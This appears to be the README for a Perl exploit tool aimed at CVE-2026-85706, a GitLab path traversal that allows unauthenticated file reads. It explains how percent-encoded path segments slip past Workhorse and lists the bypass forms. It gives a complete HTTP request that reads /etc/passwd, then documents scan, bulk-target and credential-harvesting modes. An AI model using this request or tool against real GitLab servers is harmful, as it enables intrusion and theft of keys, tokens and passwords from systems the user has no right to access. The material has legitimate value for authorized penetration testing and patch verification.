
Perl PoC exploiting CVE-2026-85706, an unauthenticated GitLab path traversal enabling arbitrary file read, with bulk scanning and credential harvesting.
For authorized penetration testing and Red Team operations only.
Unauthorized use constitutes a criminal offense. See Legal Notice.
CVE-2026-85706 is a CVSS 10.0 path traversal vulnerability in GitLab Community and Enterprise Editions that allows a completely unauthenticated attacker to read arbitrary files from the server filesystem with a single HTTP request. No credentials, no token, no user interaction required.
| Branch | Vulnerable Range | Fixed In |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab's HTTP stack has three layers:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse acts as a smart reverse proxy: for certain "upload" endpoints (repository commits, file operations), it reads multipart request bodies, saves file data to disk, and rewrites the request before forwarding it to Puma. Crucially, it attaches a JWT header (Gitlab-Workhorse-Api-Request) to every request it proxies. Rails then validates this JWT (via require_gitlab_workhorse!) before executing any handler logic.
Layer 1 — Workhorse route matching:
Workhorse matches request paths using a compiled regex that operates on the raw, percent-encoded byte string. It does NOT decode %XX sequences before matching.
Layer 2 — Puma/Rack routing:
Puma decodes %XX sequences before Grape routes the request. So a request to /repository/%63ommits is decoded to /repository/commits and routed to CommitsController.
Layer 3 — Pre-auth file read:
Once in the Rails handler (which is reached without Workhorse's JWT because Workhorse never matched the request), the handler reads params[:file][:path] from the query string and calls:
File.open(params[:file][:path]) # ← happens BEFORE authentication
By percent-encoding one character in a static path segment, the attacker's request slips past Workhorse undetected:
| Segment | Original | Bypass Form | Encoded Char |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (any) | commits | commits/ | trailing slash |
| (any) | commits | commits.json | Grape suffix |
After the file is opened, the content is exfiltrated via Rack's query-string parser:
Rack::Utils.parse_nested_query(File.read(path))
If the file contains a % not followed by two valid hex digits (which is common in Ruby config files, CI YAML, logs, etc.), Rack raises:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
This 400-response body contains the raw file content up to and including the offending byte — revealing the file's contents to the unauthenticated caller.
Files without exploitable % sequences (e.g., clean /etc/passwd) return a 401 or parameter-validation error after the read: this acts as a file-existence oracle (the read still happened pre-authentication).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Technique | ID | Implementation in this PoC |
|---|---|---|
| File and Directory Discovery | T1083 | --scan mode probes 38 sensitive server paths |
| Credentials In Files | T1552.001 | --harvest extracts keys/tokens/passwords from leaked content |
| Module | Package | Role |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP client (mandatory) |
LWP::Protocol::https | libwww-perl | HTTPS support (mandatory) |
URI::Escape | liburi-perl | Query-string encoding (mandatory) |
Term::ANSIColor | libterm-ansicolor-perl | Colored output (optional) |
JSON | libjson-perl | JSON output mode (optional) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| Quick (default) | Full (--full) | |
|---|---|---|
| Requests | ≤9 (1 preflight + ≤4×2) | 27+ |
| Early exit | Yes — stops at first confirmed differential | No — sweeps all 22 forms |
| Version info | No | Yes |
| Bypass forms | 4 representative Files API | All 22 (Commits + Files API) |
| Best for | Fast recon, large host lists | Pentest reports, --file/--scan prep |